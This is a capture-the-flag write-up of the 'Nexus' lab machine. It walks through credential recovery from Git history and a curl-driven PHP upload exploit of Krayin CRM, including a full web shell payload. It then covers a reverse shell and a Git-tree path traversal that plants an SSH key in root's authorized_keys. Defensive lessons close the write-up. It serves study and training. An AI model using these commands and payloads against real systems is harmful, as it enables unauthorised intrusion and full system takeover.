Author: Maccioni Andrea
Contents
- Reconnaissance
- Web Enumeration & Virtual Hosts
- Gitea & Git History
- Krayin CRM
- CVE-2026-38526 with curl
- RCE & Reverse Shell
- Application Enumeration
- SSH as jones
- Privilege-Escalation Enumeration
- Root Template Sync
- Vulnerability Analysis
- Manual Git Plumbing
- Malicious Commit & Push
- Root Write
- Root Access
- Complete Attack Chain
- Lessons Learned & Defensive Notes
1. Reconnaissance
The first step was to identify the exposed services and establish the HTTP virtual-host context.
The target is represented as $TARGET_IP.
export TARGET_IP=10.129.234.54
sudo nmap -n -Pn -sC -sV $TARGET_IP
A full TCP scan was also performed:
sudo nmap -p- -T4 --min-rate 1000 --open --max-retries 2 $TARGET_IP -oA nexus-tcp-ports
sudo nmap -sC -sV -p 22,80 -T4 $TARGET_IP -oA nexus-tcp-full
Relevant results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Nexus Energy Authority — Powering the Nation's Future
HTTP redirected to:
nexus.htb
Add the hostname locally:
echo "$TARGET_IP nexus.htb" | sudo tee -a /etc/hosts
At this point, SSH and HTTP were the main exposed services, with HTTP being the primary initial attack surface.
2. Web Enumeration & Virtual Hosts
2.1 Main website
The main website was enumerated with curl:
curl -sS http://nexus.htb/ -o nexus.html
Search for email addresses:
grep -Eoi '[A-Za-z0-9._%+-]+@nexus\.htb' nexus.html | sort -u
The Careers section exposed:
This provided a confirmed username that could later be correlated with credentials.
2.2 Virtual-host discovery
The same IP hosted multiple applications behind name-based routing.
Virtual hosts were fuzzed using FFUF:
ffuf -u http://nexus.htb/ \
-H "Host: FUZZ.nexus.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-fs 154
Relevant results:
git [Status: 200, Size: 14472]
billing [Status: 302, Size: 390]
Add both hosts:
echo "$TARGET_IP git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts
The resulting attack surface was:
http://nexus.htb/ -> Corporate website
http://git.nexus.htb/ -> Gitea
http://billing.nexus.htb/ -> Krayin CRM
The two new virtual hosts became the important components of the attack chain.
3. Gitea & Git History
The Git service was running Gitea.
First, enumerate the API:
curl -sS http://git.nexus.htb/api/v1/version
Repository enumeration:
curl -sS 'http://git.nexus.htb/api/v1/repos/search?limit=50' | python3 -m json.tool
A public repository named:
admin/krayin-docker-setup
was identified.
Clone the repository:
git clone http://git.nexus.htb/admin/krayin-docker-setup.git
cd krayin-docker-setup
The current working tree was not enough. Git history was inspected:
git log --oneline --all
Search specifically for .env history:
git log --all -- .env
Inspect changes:
git log -p -- .env
Search for database credentials:
git log -p | grep -i DB_PASSWORD
Once the relevant commit was identified:
git show <COMMIT_ID>:.env
or:
git show <COMMIT_ID> -- .env
An older revision contained credentials that were no longer present in the current working tree.
This demonstrated an important Git security issue:
Removing a secret from the latest revision does not remove it from Git history.
The recovered credentials were used with the previously discovered:
This provided authenticated access to the billing application.
Passwords are intentionally redacted from this write-up.
4. Krayin CRM
The billing host exposed Krayin CRM.
Initial enumeration:
curl -i http://billing.nexus.htb/
Technology indicators could be searched with:
curl -sS http://billing.nexus.htb/ | grep -Ei 'krayin|laravel|debugbar|version'
After authentication, the administrative interface was accessible at:
http://billing.nexus.htb/admin/leads
The relevant upload endpoint was:
POST /admin/tinymce/upload
This endpoint was vulnerable to CVE-2026-38526, allowing an authenticated user to upload a PHP file.
Instead of using Burp Suite or a black-box Python exploit, the entire process was reproduced manually using curl.
5. CVE-2026-38526 with curl
5.1 Initial upload attempt
The first upload attempt supplied the authenticated session but did not include the Laravel CSRF token:
curl -i -X POST \
'http://billing.nexus.htb/admin/tinymce/upload' \
-b "krayin_crm_session=$SESSION" \
-F '[email protected];filename=image.php;type=image/jpeg'
The server returned:
HTTP/1.1 419 unknown status
{
"message": "CSRF token mismatch."
}
This was useful information.
The authenticated session was valid, but the upload endpoint required the current Laravel _token.
5.2 Retrieve the authenticated page
A fresh authenticated page was downloaded:
rm -f nexus.cookies leads.html
SESSION='<authenticated krayin_crm_session>'
curl -sS \
-b "krayin_crm_session=$SESSION" \
-c nexus.cookies \
'http://billing.nexus.htb/admin/leads' \
-o leads.html
The cookie jar is important because it allows the same session to be maintained across requests.
5.3 Extract the CSRF token
The token was extracted automatically from the HTML:
TOKEN=$(python3 - <<'PY'
import re
s=open("leads.html").read()
m=re.search(
r'name=["\']_token["\'][^>]*value=["\']([^"\']+)',
s
)
if not m:
m=re.search(
r'value=["\']([^"\']+)["\'][^>]*name=["\']_token["\']',
s
)
print(m.group(1) if m else "")
PY
)
echo "$TOKEN"
This produced the current Laravel CSRF token.
5.4 Create the PHP payload
The PHP payload was intentionally simple:
cat > payload.php <<'EOF'
<?php system($_GET['cmd']); ?>
EOF
Verify it:
cat payload.php
The payload executes the command supplied through the cmd GET parameter.
5.5 Upload the PHP file
The important part of the exploit was that the multipart file was declared as an image:
Content-Type: image/jpeg
while retaining a PHP extension.
The request:
curl -i -X POST \
'http://billing.nexus.htb/admin/tinymce/upload' \
-b nexus.cookies \
-c nexus.cookies \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Referer: http://billing.nexus.htb/admin/leads' \
-F "_token=$TOKEN" \
-F '[email protected];filename=image.php;type=image/jpeg'
The server accepted the upload and returned a JSON response similar to:
{
"location": "http://billing.nexus.htb/storage/tinymce/<random>.php"
}
The important path was:
/storage/tinymce/<random>.php
An earlier incorrect path under:
/storage/media/uploads/
returned:
404 Not Found
The correct storage directory was:
/storage/tinymce/
6. RCE & Reverse Shell
6.1 Confirm command execution
Before attempting a reverse shell, command execution was verified.
curl 'http://billing.nexus.htb/storage/tinymce/<random>.php?cmd=id'
The response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
confirmed:
Remote Command Execution as www-data
This was the first shell-level foothold.
6.2 Start a listener
On Kali:
rlwrap nc -lvnp 4444
The vulnerable PHP endpoint was then used to invoke a reverse shell.
The exact reverse-shell command is environment-dependent and was URL-encoded when necessary:
curl 'http://billing.nexus.htb/storage/tinymce/<random>.php?cmd=<URL-encoded-reverse-shell>'
A connection was received by the listener.
The resulting shell was:
www-data@nexus:~/krayin/storage/app/public/tinymce$
The uploaded PHP file was visible:
ls
Output:
<random>.php
A basic reverse shell may report:
bash: cannot set terminal process group
bash: no job control in this shell
This is normal for a basic reverse shell without a proper pseudo-terminal.
6.3 Stabilize the shell
A Python PTY can be used:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Then:
export TERM=xterm-256color
export SHELL=/bin/bash
And optionally:
stty rows 60 cols 156
At this point, the shell was considerably easier to use.
7. Application Enumeration
The Krayin application source was located under:
~/krayin
Move into the directory:
cd ~/krayin
pwd
ls -la
The .env file was particularly interesting.
7.1 Inspect the environment
grep -E '^(DB_|APP_|ADMIN_|USER_|PASSWORD|SECRET)' ~/krayin/.env
Relevant configuration:
APP_NAME="Krayin CRM"
APP_ENV=local
APP_DEBUG=true
APP_URL=http://billing.nexus.htb
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=<redacted>
The live application configuration therefore contained a plaintext database password.
This was a key post-exploitation discovery.
7.2 Enumerate local users
Search specifically for jones:
grep '^jones:' /etc/passwd
Result:
jones:x:1000:1000:,,,:/home/jones:/bin/bash
Enumerate interactive accounts:
getent passwd | grep -E '/(bash|sh)$'
Relevant users included:
root:x:0:0:root:/root:/bin/bash
jones:x:1000:1000:,,,:/home/jones:/bin/bash
git:x:111:112:Git Version Control,,,:/home/git:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
The important discovery was that the database password found in .env was reused by the local jones account.
This converted application access into an interactive system account.
8. SSH as jones
From Kali:
The password recovered from the Krayin .env was accepted.
Verify the account:
whoami
id
pwd
Expected result:
jones
uid=1000(jones) gid=1000(jones) groups=1000(jones)
/home/jones
The user flag was then obtained:
cat ~/user.txt
The flag itself is intentionally omitted.
At this point the objective shifted from initial access to privilege escalation.
9. Privilege-Escalation Enumeration
Standard privilege-escalation checks were performed first.
9.1 Sudo
sudo -l
9.2 SUID binaries
find / -perm -4000 -type f 2>/dev/null
9.3 Processes
ps auxww
9.4 Systemd timers
systemctl list-timers --all
The interesting result was:
gitea-template-sync.timer
This timer executed frequently.
The timer was inspected:
systemctl cat gitea-template-sync.timer
The associated service:
systemctl cat gitea-template-sync.service
returned:
[Unit]
Description=Sync Gitea templates
After=network-online.target
[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s
The important observations were:
- The service runs as
root. - It executes a custom Python script.
- The script processes attacker-influenced Gitea repository data.
- The timer runs frequently enough to make exploitation practical.
9.5 Inspect the script
First verify permissions:
test -w /etc/gitea/template-sync.py && echo writable || echo not-writable
Then:
ls -l /etc/gitea/template-sync.py
Read the script:
sed -n '1,260p' /etc/gitea/template-sync.py
The script itself was not writable.
Therefore, the exploitation target was its logic.
10. Root Template Sync
The script performs several operations.
It defines:
GITEA_URL = "http://localhost:3000"
REPO_ROOT = "/var/lib/gitea/data/gitea-repositories"
STAGING_DIR = "/home/git/template-staging"
LOG_FILE = "/var/log/template-sync.log"
The script searches Gitea for repositories marked as templates.
For each template repository, it identifies the corresponding bare repository and executes:
result = subprocess.run(
GIT + ['ls-tree', '-r', 'HEAD'],
cwd=bare_path,
capture_output=True,
text=True,
timeout=10
)
The returned Git tree is parsed.
For each blob:
target = os.path.join(stage_path, filepath)
target_dir = os.path.dirname(target)
The blob is then retrieved:
cat_result = subprocess.run(
GIT + ['cat-file', 'blob', objhash],
cwd=bare_path,
capture_output=True,
timeout=10
)
Finally, the content is written:
with open(target, 'wb') as f:
f.write(cat_result.stdout)
The security problem is immediately visible:
filepath
comes from the Git tree, but is treated as a trusted filesystem path.
The service is also running as:
root
10.1 Monitor the timer and logs
Timer status:
systemctl status gitea-template-sync.timer
Timer enumeration:
systemctl list-timers --all | grep gitea-template-sync
Synchronization logs:
tail -n 50 /var/log/template-sync.log
During exploitation, the log could also be followed live:
tail -f /var/log/template-sync.log
11. Vulnerability Analysis
The intended destination looks like:
/home/git/template-staging/jones/Template-pwn/<filepath>
The attacker controls the Git tree.
The critical value is therefore:
<filepath>
A malicious tree can contain:
../../../../../root/.ssh/authorized_keys
The vulnerable Python code effectively performs:
target = os.path.join(
"/home/git/template-staging/jones/Template-pwn",
"../../../../../root/.ssh/authorized_keys"
)
Five parent-directory traversals escape:
/home/git/template-staging/jones/Template-pwn
and eventually reach:
/
The final path resolves to:
/root/.ssh/authorized_keys
Because the synchronization process is running as root, the attacker-controlled Git blob can therefore be written to a root-owned file.
11.1 Verify Git’s low-level behavior
The important question was whether Git tree objects could actually contain ...
The low-level Git plumbing was tested directly:
printf "040000 tree <TREE_HASH>\t..\n" | git mktree
Git accepted the tree entry.
This distinction is important:
- Normal Git commands perform additional filename validation.
- Git’s underlying object model is more primitive.
git mktreeallows manually constructed tree objects.- The vulnerable application trusts the resulting tree paths.
Therefore, the malicious tree did not need to be produced with git add.
It could be constructed directly.
12. Manual Git Plumbing
Instead of using a pre-built Python exploit, the final privilege escalation was constructed manually using Git’s low-level object commands.
The process involved:
Blob
|
v
authorized_keys tree
|
v
.ssh tree
|
v
root tree
|
v
../../../../../ wrappers
|
v
malicious root tree
|
v
commit
|
v
refs/heads/main
|
v
Gitea
This makes the vulnerability much easier to understand.
12.1 Generate the SSH key
Create an Ed25519 key:
ssh-keygen -t ed25519 -f /tmp/.k -N ""
Display the public key:
cat /tmp/.k.pub
The private key remains on Kali.
12.2 Create the template repository
Create a working directory:
mkdir -p ~/nexus-template-pwn
cd ~/nexus-template-pwn
Initialize Git:
git init
Set the author information:
git config user.name "labuser"
git config user.email "labuser@kali"
Add the remote:
git remote add origin http://git.nexus.htb/jones/Template-pwn.git
12.3 Create a normal commit
Create a normal file:
echo "initial" > README.md
Stage and commit:
git add README.md
git commit -m "initial"
Ensure the branch is called main:
git branch -M main
Inspect the normal tree:
git ls-tree -r HEAD
Inspect the remote:
git remote -v
At this point the repository is completely normal.
13. Malicious Commit & Push
13.1 Create the SSH key blob
Read the public key:
KEY=$(cat /tmp/.k.pub)
Store it as a Git blob:
BLOB=$(printf '%s\n' "$KEY" | git hash-object -w --stdin)
Display the resulting object:
echo "$BLOB"
Confirm the object type:
git cat-file -t "$BLOB"
Expected:
blob
Inspect its content:
git cat-file -p "$BLOB"
The blob now contains the attacker’s SSH public key.
13.2 Create the authorized_keys tree
Create a tree containing the blob:
AUTH_TREE=$(printf "100644 blob %s\tauthorized_keys\n" "$BLOB" | git mktree)
Display it:
echo "$AUTH_TREE"
Inspect it:
git ls-tree "$AUTH_TREE"
Conceptually:
authorized_keys
|
v
BLOB
13.3 Create the .ssh tree
Place the previous tree beneath .ssh:
SSH_TREE=$(printf "040000 tree %s\t.ssh\n" "$AUTH_TREE" | git mktree)
Display it:
echo "$SSH_TREE"
Inspect it:
git ls-tree "$SSH_TREE"
The structure is now:
.ssh/
└── authorized_keys
13.4 Create the root tree
Place .ssh beneath a directory named root:
ROOT_TREE=$(printf "040000 tree %s\troot\n" "$SSH_TREE" | git mktree)
Display it:
echo "$ROOT_TREE"
Inspect recursively:
git ls-tree -r "$ROOT_TREE"
The structure now represents:
root/
└── .ssh/
└── authorized_keys
13.5 Add five parent traversals
This is the key step.
Start with:
TREE=$ROOT_TREE
Wrap the tree five times in a directory named ..:
for i in {1..5}; do
TREE=$(printf "040000 tree %s\t..\n" "$TREE" | git mktree)
echo "level $i: $TREE"
done
The final tree contains the malicious path.
Verify it:
git ls-tree -r "$TREE"
The important result is:
100644 blob <KEY_BLOB> ../../../../../root/.ssh/authorized_keys
This is the decisive verification.
The malicious filesystem path exists inside the Git tree object, but no file has yet been written to /root.
13.6 Inspect the malicious tree
Inspect the tree object:
git cat-file -p "$TREE"
Confirm its type:
git cat-file -t "$TREE"
Optionally inspect unreachable objects:
git fsck --no-reflogs --unreachable | head
13.7 Create a commit pointing to the malicious tree
A Git repository’s HEAD points to a commit, so the malicious tree must become the tree of a commit.
Create the commit:
COMMIT=$(echo "Nexus traversal" | git commit-tree "$TREE")
Display the commit hash:
echo "$COMMIT"
Inspect the commit:
git cat-file -p "$COMMIT"
Verify the tree:
git ls-tree -r "$COMMIT"
The commit now points directly to the malicious tree.
13.8 Move the local main reference
The branch reference must point to the malicious commit:
git update-ref refs/heads/main "$COMMIT"
Verify:
git rev-parse main
Verify HEAD:
git rev-parse HEAD
Inspect the final HEAD tree:
git ls-tree -r HEAD
It should still show:
../../../../../root/.ssh/authorized_keys
13.9 Check the remote
git remote -v
Check the remote references:
git ls-remote origin
The remote still points to the original commit.
13.10 Push the malicious history
A normal push was rejected because the new commit replaced the existing branch history.
Therefore:
git push --force origin main
The remote branch was successfully replaced.
Verify:
git ls-remote origin
The remote main reference now points to the malicious commit.
This is important because the synchronization service reads:
HEAD
from the server-side bare repository.
14. Root Write
After the malicious commit was pushed, the root-owned timer was allowed to execute.
Follow the synchronization log:
tail -f /var/log/template-sync.log
The service processes the malicious tree entry:
../../../../../root/.ssh/authorized_keys
The vulnerable code effectively performs:
target = os.path.join(
"/home/git/template-staging/jones/Template-pwn",
"../../../../../root/.ssh/authorized_keys"
)
The resulting normalized path is:
/root/.ssh/authorized_keys
The service then writes the Git blob:
with open(target, 'wb') as f:
f.write(cat_result.stdout)
The public SSH key generated earlier is therefore written into:
/root/.ssh/authorized_keys
Because the process runs as root, the write occurs with root privileges.
The log can be checked with:
tail -n 50 /var/log/template-sync.log
A relevant entry looks conceptually like:
[timestamp] Syncing template: jones/Template-pwn
[timestamp] synced: ../../../../../root/.ssh/authorized_keys
At this point, the root account is prepared for SSH authentication using the corresponding private key.
15. Root Access
The private key generated on Kali was:
/tmp/.k
Secure its permissions:
chmod 600 /tmp/.k
Connect as root:
ssh -i /tmp/.k [email protected]
Verify the account:
whoami
id
pwd
Expected:
root
uid=0(root) gid=0(root) groups=0(root)
/root
The root flag can then be retrieved:
cat /root/root.txt
The flag itself is intentionally omitted.
16. Complete Attack Chain
The complete compromise path was:
Nmap
|
+--> 22/tcp SSH
|
+--> 80/tcp HTTP
|
v
nexus.htb
|
+--> Careers page
| |
| +--> [email protected]
|
+--> Virtual-host enumeration
|
+--> git.nexus.htb
| |
| +--> Public Gitea repository
| |
| +--> Git history
| |
| +--> Old .env
| |
| +--> Credentials
|
+--> billing.nexus.htb
|
+--> Krayin CRM
|
+--> Authentication
|
+--> /admin/leads
|
+--> CSRF token
|
+--> /admin/tinymce/upload
|
+--> CVE-2026-38526
|
+--> PHP upload
|
+--> RCE
|
+--> www-data
|
+--> Reverse shell
|
+--> ~/krayin/.env
|
+--> DB password
|
+--> Password reuse
|
+--> jones
|
+--> SSH
|
+--> User flag
|
+--> Systemd enumeration
|
+--> gitea-template-sync.timer
|
+--> root service
|
+--> template-sync.py
|
+--> Git-controlled filepath
|
+--> Path traversal
|
+--> /root/.ssh/authorized_keys
|
+--> SSH as root
17. Lessons Learned & Defensive Notes
CSRF handling
A:
419 CSRF token mismatch
response does not necessarily mean that the session is invalid.
In this case, the authenticated session was valid, but Laravel required the current _token in the upload request.
Extracting the token directly from the authenticated page made the exploit reproducible with curl.
Cookie handling
A dedicated cookie jar was used throughout the HTTP workflow:
curl -b nexus.cookies -c nexus.cookies ...
This is useful because redirects or subsequent requests can otherwise replace a working authenticated cookie.
File upload validation
The vulnerable endpoint accepted a PHP file while its multipart MIME type was declared as:
image/jpeg
The upload was then stored under a web-accessible location and interpreted as PHP.
A secure implementation should:
- Validate file contents rather than trusting the declared MIME type.
- Use a strict allow-list of permitted file types.
- Rename uploaded files.
- Store user-controlled uploads outside executable web roots.
- Disable script execution in upload directories.
Git history
The Git repository demonstrated why secrets must never be committed in the first place.
Removing a secret from the current version does not remove it from historical commits.
Once a credential has been committed, it should be considered compromised and rotated.
Password reuse
The live Krayin .env contained a database password.
That same password was reused by the interactive:
jones
account.
Application, database and operating-system credentials should always be unique.
Privileged filesystem writes
The root synchronization service trusted:
filepath
from Git.
This created the critical vulnerability.
A secure implementation should:
- Reject absolute paths.
- Reject
..path components. - Canonicalize the destination.
- Verify that the resulting path remains inside the intended staging directory.
- Avoid interpreting repository metadata as trusted filesystem paths.
A robust conceptual check would be:
resolved = os.path.realpath(os.path.join(stage_path, filepath))
stage_root = os.path.realpath(stage_path)
if not resolved.startswith(stage_root + os.sep):
raise ValueError("Unsafe path")
The exact implementation should additionally account for edge cases such as symlinks and path-prefix collisions.
Privilege separation
The synchronization service should not run as root unless absolutely necessary.
A dedicated unprivileged account would have dramatically reduced the impact of the path traversal.
The vulnerability would still exist, but it would no longer directly provide a root filesystem write.
Git plumbing
The final escalation is particularly useful as a learning exercise because it demonstrates Git’s internal object model.
A Git repository is built from several object types:
Blob
|
+--> File content
Tree
|
+--> Directory entries
|
+--> Other trees
|
+--> Blobs
Commit
|
+--> Points to a tree
Reference
|
+--> Points to a commit
The exploit manually created:
SSH public key
|
v
blob
|
v
authorized_keys tree
|
v
.ssh tree
|
v
root tree
|
v
five ".." trees
|
v
malicious tree
|
v
commit
|
v
refs/heads/main
The vulnerable root process then interpreted the malicious Git path as a filesystem path.
Core Git commands used
git hash-object -w --stdin
git mktree
git ls-tree -r <tree>
git cat-file -p <object>
git cat-file -t <object>
git commit-tree <tree>
git update-ref refs/heads/main <commit>
git push --force origin main
These commands are worth understanding individually because they provide a direct view into how Git stores files, directories, commits and references.
Final assessment
The Nexus compromise was not the result of a single isolated vulnerability.
It was a chain of weaknesses:
Information disclosure
+
Git history credential exposure
+
Weak upload validation
+
Authenticated PHP upload
+
Application credential disclosure
+
Password reuse
+
Root-owned synchronization service
+
Unsafe Git path handling
=
Root compromise
The most important technical lesson from the final privilege escalation is that repository metadata must never be treated as a trusted filesystem boundary, especially when that metadata is materialized by a privileged process.